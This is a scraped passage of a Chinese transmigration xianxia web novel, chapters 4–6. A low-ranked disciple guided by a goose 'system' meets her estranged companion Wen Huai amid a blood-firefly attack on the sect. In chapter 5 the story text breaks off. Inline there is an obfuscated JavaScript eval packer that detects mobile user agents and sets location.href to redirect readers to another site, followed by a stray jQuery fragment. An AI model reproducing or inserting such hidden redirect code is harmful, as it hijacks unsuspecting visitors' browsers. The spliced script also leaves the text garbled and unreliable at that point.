里是她是资历最低,修为最低,辈分最低的弟子,见了任何一个人都要唤一句师姐,师兄。任何一人都可以随意使唤她。 如果她不听话的话,就会没饭吃。来到太一宗的生活实在和她来之前想象中的完全一不一样。可无论经历了多大的变故,生活还得继续不是么。 “喂喂,小遇,衣服怎么没洗呢?怎么回事啊。”一个同为外门的师姐站在远外嚷嚷,林向遇自从进入炼器门之后,没有修习,干的都是一些洗衣做饭之类的琐事。要是问起,师兄师姐门总是要说:小遇啊,你现在修为实在是没资格进入熔炼室的,师兄师姐也是为你好。 清风徐徐,林向遇挽着袖子在院子里打水,洗衣,水哗啦啦飞溅,不慎猛地甩出一泼水,正好将旁边的大鹅兜头浇了个透。 大鹅瞬间嘎嘎扑腾着翅膀飞起来,嘎嘎嘎嘎嘎—— 林向遇微微敛眸,抱歉地道:“对不起啊,我不太会洗衣服,以前都是温淮替我——” 林向遇下意识说出这句话,下一瞬后知后觉地咽进了肚子里,内心渐渐升出一种奇异的悲怆感。莫名其妙的。 从前她的所以日常起居温淮都为她安排得事无巨细,以至于林向遇这么多年来,甚至没学会如何洗衣做饭,如何照顾自己。更别说帮助别人,照顾别人了。 不去想这些了。林向遇只是把大鹅拉过来,替它擦干羽毛上晶亮的水珠,大鹅也一边嘎嘎叫一边使劲抖动着水,细细的水珠被大鹅甩得四处飞溅,林向遇白净透亮的脸也湿了。 “系统,有没有让我快速修炼的方法。”林向遇突然问了这么一句,大鹅抬起鹅头,看见林向遇两只杏眼亮晶晶的,比天上的星河都要亮。大鹅知道,林向遇因为修为之事,异常苦恼。 在修真界,人一生下来,你的修为你的上限已然注定了。有些人,生来天资平庸,灵根平平,上限最多就是碰到个修仙的门槛而已,此后,任你再怎么努力也再也无法有更进一步的突破。 林向遇就是这样的。以她的天资,能够进入太一剑宗已然是不知道几辈子修来的福分。 没等大鹅回答,林向遇放开大鹅,笑笑道:“我开玩笑的。天资再差,我也会找到那条路的。属于我的路。” “噶!”大鹅长啸一声,表示赞同。 翌日,正在厨房做饭的林向遇听见外面传来一声巨响。厨房黑雾沉沉,她咳嗽着跑出来,确信那声巨响不是她的厨房里传来的。 而是那炼器门。 林向遇遥遥远望,看见那炼器门中爆发出一阵躁动,只听见大殿之外,石壁猎猎颤动,远处六师兄狂奔而去,惊喜地狂叫着,“门主回来了!门主回来了!” 彼时,林向遇还不知道自己在炼器门真正的“好日子”还才开始。 门主回来之后,林向遇发现师兄师姐门好像突然都有了历练任务要完成,没多久整个热热闹闹的炼器门就走得七七八八了。林向遇被六师兄唤去,说是门主有任务交给她。 让她去联通内外两门的两刃峭壁上摘一样石粉花回来,当作熔炼法器的材料,林向遇想啊,自从来到炼器门之后,终于有一件像样的事情能做了。 相比起来平日那些琐碎而无用的杂事,采集炼器器材被衬托得像是一件不错的差事。 两刃山位于内外门的交界处,其两座山体如刀劈斧削,壁立千仞,整座山体如同被剑劈开,劈出一线又窄又狭长的通道,站在甬道之中,阶梯次第绵延而上,抬头看,只剩下一线细细的天光,透过两壁投下灰白的影。 因是外门连通内门的一条通道,而内外门时常是不能私串的,因而平日总是没什么人,行于其间,能听见自己的脚步声悠悠回荡其间。 六师兄说,这种炼剑用的石粉花这里有很多。不过,等林向遇到了这里才知道,这些花大都长在高高山体峭壁之上,想要采到对她来说决定不是易事。林向遇又还不熟练御剑之术。简单的事情好似变得更加麻烦了。 转过一个突出的岩石,天上鸟鸣嘲哳,对面突然扬来几个人的声响,“哟,扫地呢。” 林向遇抬头看见转角之后,绵延无尽的阶梯之下,站着几个弟子,他们围着其中一个人,林向遇愣了一瞬,那个身影她当然不会忘。也不会看错。 温淮。 4. 第 4 章 他站在一众弟子之中,穿着不属于外门也属于内门的布衣,简单的粗麻衣裳却被他清矍有力的背影衬得清新脱俗,别有一种少年劲。 围在他旁边的两个弟子穿着内门弟子服,双手环抱于胸前,虽然比温淮矮点,气势又明显不足,却仍然摆出一副居高临下高人一等的模样。 而温淮如玉般的手提着扫帚,只是做自己的事,连眼神都没给他们一个,青阳见状面上更过不去,抬腿一踹,将那旁边的簸箕揣倒了,尘土和落叶纷纷扬扬落了一地。 “明日,去给明玄真君那儿去说山门石壁上的彩雕是你划花的。听见没?耳朵聋了?” 温淮亦没有动作,背还是挺着,眼神平静,仿佛视他们为无物。 青阳旁边的于澜舰见状怒道:“不就是一个臭扫地的?清高什么?你什么眼神?” 林向遇心下一惊,旁边山壁上的碎石被她蹭下来一块,咚咚几声,在幽幽山谷间回荡。 三个人瞬间齐齐回头,看向林向遇。 青阳眼神打量,见林向遇穿着外门弟子服,道:“新来的?别多管闲事。” 林向遇没想到能在这儿碰见温淮。 只是,此情此景,和从前每个相见的日日夜夜的情境已然完全不同了。 饶是如此,林向遇确实下意识跳出去,站在温淮身前,虽然她身量比他矮了一截,但气势却好像那么坚定,没待温淮做出任何反应之前就已然闪身将他挡在身后,“不可以!不能答应他们。” 这话是对温淮说的。 温淮低头,长指捏了捏眉心。 “跟你有什么关系?给我滚开。”青阳拔出剑来,剑光闪了闪。 林向遇也不怕,手中的剑还是温淮从前赠她的桃木剑,“我记得内门弟子私自斗殴是会被逐出内门的。你们不妨试试看。试试我会不会斩出这一剑。” 于澜迟疑后退一步,呵了一声,拉了青阳一把,低声道:“这次就算你小子走运。”说着,两人终于走了,走前,林向遇看见于澜眼里透出不一般的阴狠来。不过林向遇还是举着桃木剑,眼神坚毅,丝毫没有怕的意思。 即便,她知道自己的实力不如那两个内门弟子。那又如何。 看见两人走远,林向遇才放下剑,转身,无言,今日的天气阴冷,不知何时开始下起雨来,细细的雨丝从那一线天光之中洒下来,飘飘扬扬,落在连个人之间,两人也像是被两道石壁隔开了,被洋洋洒洒的雨丝隔开了。 世界都浸在细雨里,静音了。 一时不知道说什么,相顾无言。 林向遇嘴唇嗫嚅着,想要说点什么,可抬眸,撞见温淮冷然的眼神,瞬间话语在嘴边冻住了。 他看向自己的眼神那么奇怪,那么陌生。 好奇怪。 林向遇就被他冷漠的眼神揪着,揪得心底牵扯出来丝丝疼痛,好奇怪。难道,他已经不记得自己了?为什么这样看着自己。 哦,也对,这是他原本的眼神,这是他不受伴生契控制的眼神。原本就该如此。 林向遇努力让自己敏锐躁动的心平静下来。 却听见身前温淮的声音,依旧无波无澜,却如雨润万物般温吞好听:“你怎么在这儿?” 在林向遇耳中,这是责怪的语气,林向遇下意识道:“我不是为了纠缠你才来太一剑宗的,我不会纠缠你的。你放心。” 温淮眉头皱了下,看着林向遇的眼神多了几分异样,连他自己都说不清道不明的异样,旋即,温淮转身将簸箕和扫帚扶正。 只是这样做,他没有回答林向遇,好像正要转身离开。 走之前才问了林向遇一句,“你来这里做什么?” “采峭壁上的石粉花。” “山崖下面的花,长得更低。”温淮留下这样一句话,身影在漫漫雨丝之下渐渐淡去,远去,坚定的背影在冷风中飘摇着,直到飘出林向遇的视线。 只留林向遇还在雨里。 雨势渐大,朦朦胧胧,林向遇在雨中采花,她顺着石阶走到山崖下方,发现崖底的石粉花果真长得更低,那些娇艳欲滴的红花,被雨一浇,更加娇嫩得仿佛能掐出水来,林向遇生怕自己揉坏那些娇嫩的花,动作更加小心翼翼。 回去路上,细细雨丝变成了豆大的雨点,从那一线天中铺天盖地砸下来,初夏的天,雨中浸满了泥土的气味。 一抹身影飞速穿过大雨,她弯着腰,怀里似乎护着什么宝贝,但仔细看,却发现那只是一株石粉花而已。石粉花有助燃之效,炼剑的时候加入这种花,不仅可以加速炼器,还可使炼出来的剑更加光滑可鉴。是以,石粉花其实是种珍贵的炼器器材。 雨势又大又急,四野雾气茫茫,林向遇凭借着记忆中的路在雨中冲着,待她回过神来,再定睛往前看时候,才发现面前不知道何时出现了一座莲池,整座莲池在雨中,仿佛沸腾起来。 莲花朵朵红艳,雨不断敲打着。林向遇从前从师兄师姐嘴里听过宗门之内有一处莲池,因为被设了特殊的罗生门阵法,其位置千变万化,不得踪迹。 林向遇想自己应该便是误入了那个传言中的踪迹诡谲的莲池。 莲池之内,依稀可以看见一个人影,正在雨中荷叶之上静静打坐。他闭着眼睛,下一秒和林向遇对视了。 “莲池是你一届外门弟子能擅闯的吗?”声音沉着而带有上位者特有的权威。林向遇一边小心护着石粉花,一边拱手道歉,这使得动作显露出几分手忙脚乱和不尊敬。 林向遇:“请门主恕罪。您要的石粉花,弟子采来了。” 岂知,那雨中道袍男子一挥袖子,啧啧了两声,道:“没意思。” 李自珩摇着头,也没有去追究为何林向遇从未见过他,却知道他就是炼器门门主。他根本不屑于去揣测一个小小的不知名的弟子的想法。 林向遇垂首,双手托着把石粉花交给门主。石粉花原本被她护在怀里,现在在雨中,被雨打着,左右乱颤,林向遇垂头万腰,几缕发丝垂下来,头发已经被浇透了,水珠成串地坠下来,一滴滴往下落,这个姿势持续了有一会儿。 只见那花,被李青珩用灵力牵动着,施施然飘落在莲池之中,随逐水飘零,林向遇抬头,撞见李青珩恶劣而轻蔑的眼神,细长的眉眼微微上挑。 “门主这是故意戏耍弟子吗?”让她去采花炼器,好不容 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林向遇呵呵两声,“下雨淋湿了。” “外门的雨下得有这么大么?”六师兄看了看转晴的天空。 林向遇捏了捏拳头,原来,她的雨都是门主特意为了她下的。真特么有病!这门主。 林向遇甩了甩头发,顺手接过六师兄递来的毛巾擦着,六师兄道:“说正事呢,石粉花采回来没。门主他老人家要求可是很严格的。惹怒了他,真的很可怕。”最后那句很可怕六师兄说得轻声了些。 林向遇没回,雨后晴空,大鹅躺在小篮子里窝成一团,酣睡着,她模样若有所思。突然问:“六师兄,当时招收弟子都是过你过目吗?” 这问题突然,六师兄道:“是啊,怎么了?” “你知不知一个叫做温淮的弟子?他什么时候进入我们宗门的?” 这话点起了六师兄的八卦欲,眼神有几分兴奋地道:“问这个干嘛?难道他是你的旧相识?” “六师兄你就说有没有吧。” 拗不过林向遇,六师兄想了想,摇头道:“没有。” 旋即,他又补充:“不过,杂役弟子里有一个好像是前不久来的。” “多久前?” “半个月左右?” 半个月左右前。说明温淮或许不比她更晚来到太一宗门。 杂役弟子?温淮为什么要来这里做一名杂役弟子?他是来寻谁的? 是他从前想方设法不惜用伴身契也想要困住的那个人吗。 “遇师妹,你生病了?脸色看起来不大好。”六师兄手在林向遇面前晃了晃。 林向遇才堪堪回过神来,苍白着脸,摇摇头,“没事。” 六师兄瞧着林向遇苍白如玉石般的脸庞,心生出几分柔软之意。说实话他还挺喜欢这个新弟子的,看着性子软软的,却总是让人觉着她并不像表面上这样。乖软之中深藏着自己的想法。要是能真成为他的师妹就好了。六师兄想着,改日求求门主,说不定这事能成。 5. 第 5 章 林向遇将出入药谷的令牌给守门弟子过目,随后背着一个小背篓,迈着碎步从石阶一路蜿蜒向上,走向那远在天边的铃木崖。 山间一片苍翠欲滴,幽静而常有鸟鸣,少女背篓之后倏地探出一个鹅头,左右摇摆着,瞪着豆大的眼睛四处观望。 “宿主,我们得快点接近女主了,而女主又在内门,所以想办法进入内门。最快的办法就是拜门主为师。” 林向遇:“那个门主……一言难尽。不过我会想办法的。” 大鹅:“宿主你也往好处想想,说不定李门主只是表面脾气古怪,其实人还挺好呢。” “怕就怕表面古怪,心肠更黑。对了,你能不能把原书中的关于大反派温淮和女主的事情说一说。” “原书中最大的反派温淮,一直对女主心生爱慕,从头到尾都在觊觎女主,不惜一切后果对女主强取豪夺。其中,他在后期妖力大涨,在万妖朝拜之中大开杀戒,导致上下两界死伤无数,这些也都是因为女主。” “我记得最后的副本任务就是万妖朝拜那里对吗?” “是的,宿主,只要走完最后一个副本任务——万妖朝拜,我们就能回家了。” 林向遇低了低头,一抹花枝从眼前掠过,拂她的发丝,她没说话。 无论温淮和原女主的故事今后将会如何发展。反正,她会回家,永远离开这里,离开温淮。就当作在这个世界的一切都只是一场幻梦罢。 拐过一个山角,视线豁然开阔,蓝天青草,整个世界近在眼前。这便是铃木崖的地界。此时这片山崖以上许多弟子来来往往,林向遇这是恰好碰见箭修的弟子前来习箭,天边无数符纸折成的飞鸟漫天飞扬,箭修的弟子们一个个搭弓射箭,破空之声,次第响起。 林向遇绕过他们,来到铃木崖边,她腿软了一下,不光是她,连大鹅望见地下万丈深渊之时,也噶地一声差点晕过去。 李门主说的那一株长在铃木崖边最高最硕大的石粉花,林向遇看见了。它就在那儿,山崖之巅,在天地间随风轻轻地摇啊摇。 林向遇心里诽谤:李门主应该就是故意的。腹黑门主。故意折腾她。她知道其实这山崖之巅的石粉花其实和她昨天采来的那朵没有任何差别。不过,谁叫她还想要在炼器门继续下待下去呢。人在屋檐下不得不低头啊。 她缓缓移动步履,伸出手去,靠近,那花明明看起来近在咫尺,可真伸出手,却又总差那么一点点,林向遇没有去看下面的万丈深渊。来之前她听说过这山崖底下有去无回,其中生长着一些不知名的妖兽,摔下去就算不死,就会被妖兽啃食干净。 无数箭矢在天空中自在飞扬,发出连续不断地声响。青阳突然碰了碰旁边于澜的手臂,于澜正对准不远处一名捡拾符纸的青衣杂役,那人身姿高挑,即便是背影也能看出比绝大多数弟子长相绝艳。正是温淮。 于澜对准他的手臂,射去,但因为青阳撞了他的手臂,于澜射偏了,不由得怒道:“干什么!” 青阳使使眼色,看向另一边,悬崖边,一个身影单薄瘦削的女子,企图摘下崖边那朵石粉花么?他牵扯了下嘴角,“还记得那女人吗?” “是昨天那个?”于澜道。 “对。”青阳顺势夺过于澜手中的箭和弓,方向一转,对准那抹纤细的身影,“你说她要是摔下去了,肯定也是她自己不小心的吧。毕竟谁让她昨天不知死活地要替那个杂役出头。” “对,还害得没人替我们担罪,被罚抄写了三百遍门规。手都抄软了。”说着于澜继续搭弓,只是方向一转,对准了悬崖边的女子,“必须好好教训教训这女的。” 一只箭破空呼啸而来的时候,林向遇还在专注那朵花,只有大鹅注意到了,但是现在,已然避无可避。 噶地一声,大鹅以为自己这会儿死定了,眼前忽然一阵剧烈颠簸,万事万物不断变幻,噶,大鹅我已经开始走马观花了吗? 不对。 它没死成,它甩动着鹅脖子,企图让自己的鹅脑袋清醒清醒。随后大鹅发现,自己不知道什么时候出现在了绿草地上。不远处,自己的宿主被温淮牵扯的手臂,两相紧靠在一处。 林向遇还心有余悸,后知后觉地知道,自己方才若不是被温淮扯了一把,现在估计早就跌下悬崖,摔得七零八碎。背篓中的大鹅因为方才剧烈动作飞了出去,此时在绿茵上迷茫地嘎嘎叫着。不知道是被吓的还是因为担心她。 林向遇才发现自己和温淮还以方才的姿势站着,因为情况紧急,他还是一手紧紧攥着林向遇的手臂,一手扶着她的肩膀,他的手纤长有力,抓得林向遇手臂一片红印子,她看向被他紧攥着的手臂时,温淮才反应过来地松开手,此前他只是一直盯着别处。盯着对面那两个人。 对面两人,脸色嚣张跋扈,丝毫没有后怕之意,料想林向遇不过一个外门弟子,温淮不过一届杂役,对他们构不成威胁。 温淮眼神看上去好像很平静,但细看之下,其实并不无波无澜,因为这一刻,他胸腔里那种,想捏死那两个人的冲动愈发强烈。 无人注意,那幽深的铃木崖下,隐约的嗡嗡声渐渐逼近,靠近,不一会儿,碧蓝的天空中忽然冒出无数密密麻麻的蝗虫般的虫子,满天满地。 不一会儿就有人尖叫着,四处逃窜,“血萤!是血萤,快逃。” “啊——”叫得最惨的地方,来自于铃木崖旁边,有两个人已经在瞬息之间被血萤吸成了干尸,孤零零地一片,在崖边如垃圾般摇坠。 温淮轻轻擦去指边那一抹猩红的血液,妖血的气息在空气中减淡不少,血萤变得像是没有指引的无头苍蝇了,满天满地飞扬,所有弟子四处逃窜。温淮回过神来之时,自己正被一只手拉着,同样地往山下奔跑。 掠过花枝,掠过旁边的绣球花,少女的轻盈的衣摆飘扬而过,有一瞬间划过温淮的脸庞,痒痒的,一种细微的难以言喻的感受,鼻尖有冷香,他记得自己闻过这个味道,不止一次,他熟悉她的味道,在从前很多个互相缠绵的日日夜夜里。在他不知道的时候,这种味道已经刻进了身体里。 林向遇一手拽着温淮,一手拎着大鹅的鹅掌,飞速溜进一个小山洞里,这是她在来的路上发现的,有一片木槿花枝叶掩映,只要躲好,那些血萤应当不会发现。 温淮莫名其妙地就和林向遇蹲在了这个见不得人的地方,前端无数弟子一边逃窜一边射箭杀死血萤,只是血萤数量太多,杀死一只还有成千上万只,根本无用。 反观这边,两人一鹅躲在木槿花之后,什么事都没有,林向遇内心暗暗为自己的反应和明智选择感到自豪,一边观察着外面的形势。 血萤是一种通体血红,长满毛刺的魔物,只需被叮上一口,普通人绝无生还可能。因而,另一边的情境简直可以说得上去惨不忍睹。 直到温淮默默挣脱林向遇的手,林向遇才反应过来自己一直拽着他,转头瞬间发丝被风吹着不断往温淮脸上蹭,清风带来她的香。 温淮还是冷冷的,道:“可以出去了。”血萤都被引到了人多的地方了,这边暂时安全。 温淮略略别过头,起身欲要走。林向遇急急地叫住他,“谢谢你。” 初夏烈阳下,山风徐徐,他淡然回头,忽然问起:“为什么总是你去做这些又危险又累的活。”他说得是昨日冒雨采花和今日崖边采花之事。 林向遇略微不解,不懂他问这些做什么,既然入了宗门,做了外门弟子,便要做好可能遇上各种危险的准备。这没什么,温淮自己不也一直被内门弟子刁难吗。不过那两个弟子现在已经成了两具骨架。 温淮见林向遇如此神态,忽然生出一种怒其不争的感受。她难道就永远也学不会保护自己照顾自己么。从前是这样,现在也是这样。他不知道为何突然这样想。想起以前干嘛。温淮又轻呵一声,看着木槿花下抬头呆看着自己的少女,刚想要吐出来的刻薄话又咽回嘴里。 这时候,铃木崖血萤之灾已然传遍宗门,许多师兄师姐赶来援助,为首的是一个劲装男子,提着那把传闻中闻名天下的玉虚剑,将无数血萤斩成碎渣,许多弟子得救般道:“是大师兄!” 是薛迟。以及薛迟身后之人。 这还是林向遇第一次看见那本书男主男配都心心念念争夺的女主,宋清梨,她也来了,一袭白色纱裙,站在人群之中,皎皎若天上月。 林向遇不合时宜地看向温淮,试图从他看向她的眼神里看出点什么,她看到了意料之中的渴求。对,就是渴求和欲望。 她知道自己本不应该对此产生什么不该有的情绪,可就是难以控制,心下的酸痛如潮涌。林向遇也没想到,单单只是他的一个眼神的变化,就可以令她如此心痛。 “还不走?”直到温淮问她。 “可是那些师兄师姐怎么办?” “你有能耐弄死那些血萤吗?你在这儿不是添乱吗?”温淮不想在这种时候还要分出精力去照顾她。但这么想着,却还是下意识护住了她。过去八年间是如此,现在也是如此。温淮意识这点后,不屑地想,只是念在往日的恩情而已。 只是这样而已。别无其他。 林向遇知道他说的话总是那样的冷静而理智,尽管总是不那么“好听”,确也是事实。转眼,林向遇略微的模糊的目光中,忽然出现六师兄的身影,六师兄也在人群里,一边唤着“遇师妹”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481113|201743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血萤越来越多,在六师兄周围聚集。 桃木剑出鞘,林向遇正要跑过去,温淮拉住她,“你做什么。” “六师兄还在那儿。” 温淮捏了捏眉心,“不用管他。” “这怎么行!自我进入宗门以来,他很照顾我的。” “他很照顾你?”温淮脱口而出这样一句,听不出其中情绪和意味,林向遇点头,不知道他什么意思。 温淮胸口升起一种怪异的沉闷,莫名不舒服,道:“叫你不用管他就不用管他。他有那么重要?” 不是,林向遇不懂温淮突然有点生气是为什么。自己又做错了什么? “血萤对你六师兄造不成什么伤害。你放心。”最后这三个字被温淮说得咬牙切齿,林向遇也不好再坚持,果然没过多久,团团集结的血萤消失得七七八八,像是有什么东西指引着它们离开。 六师兄见到林向遇没事,差点两眼泪汪汪,“差点又少了个可爱的师妹。” 林向遇自从来到太一剑宗,还从未被人如此惦记过。她也感动,实在有点受宠若惊。 六师兄先是确定林向遇没事,又确认了一遍大鹅没事,这才放了心,长舒一口气,道:“我一听说这边血萤作乱就立马想到你了。还好遇师妹没事。” 血萤散去之后,大家都心有余悸,铃木崖上一时间死的死伤的伤,薛迟带着一众弟子站在旁边,好容易安定下来,忽而听见小六鬼泣般的声音,忍不住瞥了一眼过来。 小六身前的女修身负一柄桃木剑,精致而不加修饰的面容上挂着丝丝劫后余生的笑颜,在薛迟看来,这笑十足地憨傻。 薛迟记起来了,是那日那个女修。一个原本连入门资格都没有的女修。薛迟只看一眼,便别开了眼。 人影杂乱之中,林向遇后来再想要从人群里寻找温淮的踪迹时,他不知道什么时候已然没了身影。 铃木崖周边的死伤很快被清理完毕了,当日夜晚,议事堂亮起彻夜烛火,“这些血萤到底怎么回事?” ”血萤本是魔族之物,凶险非常,早该在很久之前妖族不周山天火之灾中跟随大部分妖族永久地灭亡了。”其中一位长老道。 因今日血萤之事,太一剑宗几大掌门突然召开会议,紧急商讨此时。但说来说去,依旧找不出任何蛛丝马迹。太一剑宗之内是有禁制,一旦察觉到妖息禁制便会全方位开启。但是魔和妖不同,禁制不能感应魔息。 他们忘了,妖生来狡诈阴险,即便不动用妖力,也是能驱使魔的。 “薛迟,你怎么看。”二掌门幽微目光转向薛迟,冷不丁点了他。薛迟是二掌门幽微真人坐下的唯一亲传弟子。 当今太一剑宗谁人不知,现在的掌门玄青道人早在妖族不周山天火之灾后不久就闭关不出,说是闭关,其实太一剑宗内部人都知,掌门是隐退了。 不知何种缘由。 有人猜测,掌门是因旧故友人死在那场妖族的天火之中,因而日日郁郁寡欢,最终不能承受,选择闭关隐退。现在太一之中大大小小的事务都由着各大掌门和长□□同商议决定。 而掌门又从未收徒,膝下有只有一个女儿,便是宋清梨。 因此,薛迟迟早继承掌门之位渐渐成为了所有人都默认之事,无可争议。 薛迟道:“这血萤出现得突然,不能排除有人刻意为之,只是其动机,弟子目前还没查出端倪。还有待进一步观望。” “观望!这不已经够明显了么?观望个屁的观望!肯定是魔教那群人搞得鬼,这么久没见动静,在背后憋了个大的。害死我宗门众多弟子,我誓要揪出那个藏在宗门中的魔头,然后碎尸万段。”说话的是三掌门,三掌门多年来在惩戒司形成了独断专行的行事作风,其性格又暴躁急躁,是以,掌门隐退之后没有任何一个人敢对其插嘴反驳。 说完,三掌门便拂袖而去,同时叮嘱其弟子,“给我调出所有近半个月来进入宗门弟子的信息。” 议事堂静下来。 相比起来三掌门,二掌门就显得冷静理智多了,“查一查所有死伤的弟子,守好口风,半个月后的第一次内考,照常进行。” 今夜并无星光,是个无风无雨的平静夜晚,只有远处一抹若隐若现的血红色星点忽闪忽闪,由远及近,它最终停下来,漆黑的触手抱住一只修长的指尖,血红的微光,映照出手指主人的如玉般面庞,血红衬着白玉,有种诡异的绮丽感。 温淮垂眸看着指尖上轻盈的血萤,眸子里映出星星点点的红,看不出情绪。曾经他是多么厌恶这种东西触碰自己,厌恶那猩红的尖刺和布满绒毛的触手。 而今他成了这种魔物的“同类”。 6. 第 6 章 太一剑宗历年来的门规,所有弟子入门后的第一个月,全体弟子进行内考,依据排名重新分内门外,各修前三甲有机会拜各长老为亲传弟子。 因着这次内考,宗门内所有弟子格外勤奋修炼,林向遇也不例外,她想进入内门,迫切地想,急切地想。 只有进入内门才能更好地接近女主。 是夜,初夏的天,凉风阵阵,吹得一树海堂枝猎猎颤动,棠花徐徐飘散,散在茫茫然的夜色中,倏地一道白色银光呼啸而来,那流动着的海棠花瓣瞬间被这气流震得四散开来。女子手持桃木剑,保持出剑的身姿,发丝徐徐垂落,额间有晶莹的汗滴坠下,映着灿灿海棠花。这情景本是极其怡人怡景,美人美景相衬,宛若一副极致的画卷。 只是下一瞬,只听见女子呜地一声,猛地转身扑向旁边昏昏欲睡的大鹅,“系统!帮帮我——” 这近半个月,林向遇几乎是日日夜夜没有休息地炼剑修炼,可是直到今日,林向遇绝望地发现自己的修为和剑法仍旧没有多大进步。林向遇原本是不信命的,可在这修仙界,不断修行不断受挫的十余年来,林向遇也总该对自己有个认知。 她就是天资极差,没有丝毫修行天赋。她本来就不属于这里,本来就不是修仙的料。 大鹅晃了晃被林向遇抱得差点断气的脖子,甩了甩头,让自己眩晕的鹅头清醒清醒,旋即理智道:“修行不是你的最终目标,回家才是。所以宿主,你并不需要在意这些。” “所以修行只是手段,而不是最终目标。”林向遇喃喃道。她明白了,最重要的是回家的目标,只要能达成目标,手段是什么并不重要。 她心里好受多了,默默将眼眶里那滴欲落不落的泪给憋了回去。 “遇师妹,又在和大鹅讲话呢。” “六师兄。”林向遇起身,看着六师兄背着剑徐徐走来。 这些时日林向遇除却自己练剑自己摸索,六师兄也会时常过来指导,“遇师妹,明日便是内考了,别紧张,正常发挥就好。师兄我特别想要你这样一个师妹。真的。” 林向遇低了低头,“恐怕要辜负六师兄的期望了。”说着又叹了口气,刚想找了石阶坐下,六师兄一剑出鞘,罡风席卷而来,林向遇冷不丁猛然起身,拔剑去抵挡六师兄呼啸而来的剑光。 六师兄收着力配合林向遇出剑的招数,每一步都在有意引导林向遇出剑落剑朝着哪个方向着力,六师兄一边出招,林向遇反手抵挡,今夜晚风徐徐,两种剑风相融合相激荡,温柔也和煦。 林向遇只有在和六师兄练剑的时候不那么吃力和痛苦,六师兄尽量配合着她,六师兄道:“遇师妹,用心去感受,感受没一招每一式的变化,感受剑气的变化,练剑的最高境界,就是做到人与剑融合。” 人与剑融合?林向遇看着手中朴实厚重的桃木剑,此时脑海中想的只是,这分明只是一块木头,人怎么能做到和一块木头融合的?是不是要成为树人才能与她手中这柄桃木剑融合? 林向遇莫名其妙这样想,手中正提剑与六师兄过着招,剑风徐徐,人也徐徐,树上的海棠花不停地微微颤动着,随风摇曳。 莫约一刻钟后,六师兄收了剑,林向遇也将桃木剑往身后一收,施施然立在海棠树下,六师兄道:“怎么样,感受到了吗?” 林向遇眨眨眼,“感受到了什么?” “感受到了剑气的变化,领悟到了一丝丝人剑融合的意义。” 林向遇站在棠花下,花茫茫然落,她也茫茫然。哦,那真没有。 确实没有。 林向遇扯出一抹微笑,迎着六师兄充满期许的表情,牵强地点点头,昧着良心道:“是是!好像真的感悟到了一点。” 林向遇说这话的时候,心里已是既心虚又惭愧,得亏六师兄如此苦口婆心地教导自己,自己却如此不争气。连稍微一点皮毛都未曾领悟得到。实在是太愚钝了。但她又实在不想让六师兄失落。嘴上这样附和,心里很是不好受。 六师兄则是表现出欣慰,同时又有为自己教导有方的自豪,“是吧,遇师妹,按照我的教你的去练,保准你一定会有所进步的,而且能够受益很大。” “嗯。”林向遇笑了笑了,虽然她确实不懂六师兄说的那些,但她真挚地感谢六师兄,林向遇走进弟子宿舍,倒了一碗冷茶出来,正想要递给六师兄,“坐下休息会儿,喝口茶。”林向遇话音才方方落下,突然不知道从哪里猛地窜出一个黑影,正正好将林向遇手中的茶碗打翻在地,茶水溅了六师兄一身,茶碗也“铛”地一声碎成几块。 两个人立马相隔开来,林向遇视线跟随黑影窜过去的方向望去。 海棠树的旁边,大鹅正把红喙插进羽毛里面,缩起两只鹅掌,整个变作一个大鹅饼摊在大院里,羽毛上落了一层海棠花瓣,睡得那叫一个惬意。 林向遇甚至不知道大鹅什么时候睡着的,只是下一秒,只见那道黑影猛地砸向鹅饼,瞬间,鹅飞猫跳,鹅叫猫叫,漫天狂叫,鹅毛猫毛,漫天飞舞,温馨安静的小院一下无比聒噪起来。 煤球狂躁:傻鹅,在这里和女主人日子过得悠闲哈!凭什么是你跟着女主人。 大鹅睡梦中惊醒,一边嫌弃一边和啄着肥猫:蠢猫,怎么又是你! 仇人见面分外眼红,虽然只是见过寥寥数面的仇人,但一鹅一猫,互相之间对对方的仇恨俨然已经到了无法缓和的地步。 可惜,林向遇也听不懂煤球的喵喵叫,也听不懂系统的鹅语,她只知道煤球来了。 自从上次分别之后,林向遇就没有见过煤球了。今日再见,却不知为何有种久违的感受,这种感受在心中荡啊荡啊,越来越浓烈,忽然令林向遇想起来了什么,由此,心尖猛然颤动一下,震震心悸漾开了。 煤球在这里,是不是说明温淮也在这附近呢?毕竟当初两个人分离之时,温淮唯一带走的她和他的共有物便是只是这只肥猫——大煤球了。 六师兄一转头见一只鹅和一只黑猫缠斗起来,而且打得激烈,他一见那又肥又黑得油光发亮的黑猫,没忍住浑身一激灵,额间冒着冷汗,六师兄一边擦着冷汗,连身上的湿淋淋的茶水都没来得及顾及,只得转头对林向遇拱手道:“遇师妹我先告辞了。” “欸,六师兄,这么快就走。”林向遇疑惑地看着六师兄离去的方向,再一个转头,猛然撞上一个高大的胸膛,林向遇后退一步,抬眼,夜光中,衬着海棠花,他这样出现在了她的面前。 如此突然,害得林向遇心跳慢了半拍,旋即,猛烈激烈的心跳如潮水般汹涌而来,将她心潮淹没。林向遇尽量让自己的样子看起来没有丝毫异样。生怕温淮看出什么,林向遇别过了头,眼神飘向别处。 这是分开这么久以来,他第一次找她。 不远处,猫和鹅仍然打得不可开交。 这边,却俨然安安静静,时光好似停了几秒。 直到温淮张了口,“自古以来,剑道一术从来都不是光靠蛮力可以悟得的。” 林向遇砰砰然跳动着的宛若那滋滋响的跳跳糖一样的心,瞬间被一泼冷水浇了个透。哦,原来今日前来是来嘲讽她的剑术的。 海棠树下,林向遇发丝被风翻卷着,温淮站在海棠树的阴影和光亮之间,衬得他无暇的面庞一半有着暖融融的光,让林向遇生出一种温润的错觉,而一半却陷落在黑暗里,看不清眸中的种种情绪,又让林向遇捉摸不透,雾里看花。 “方才你师兄讲得那些,估计都是他的梦话。若真按照他那样去练剑,你就是再修习两辈子也不可能有任何突破。”温淮继续道。 林向遇蹙了蹙眉头,心道,自己从前怎么一直没发现温淮其实这么装货呢。 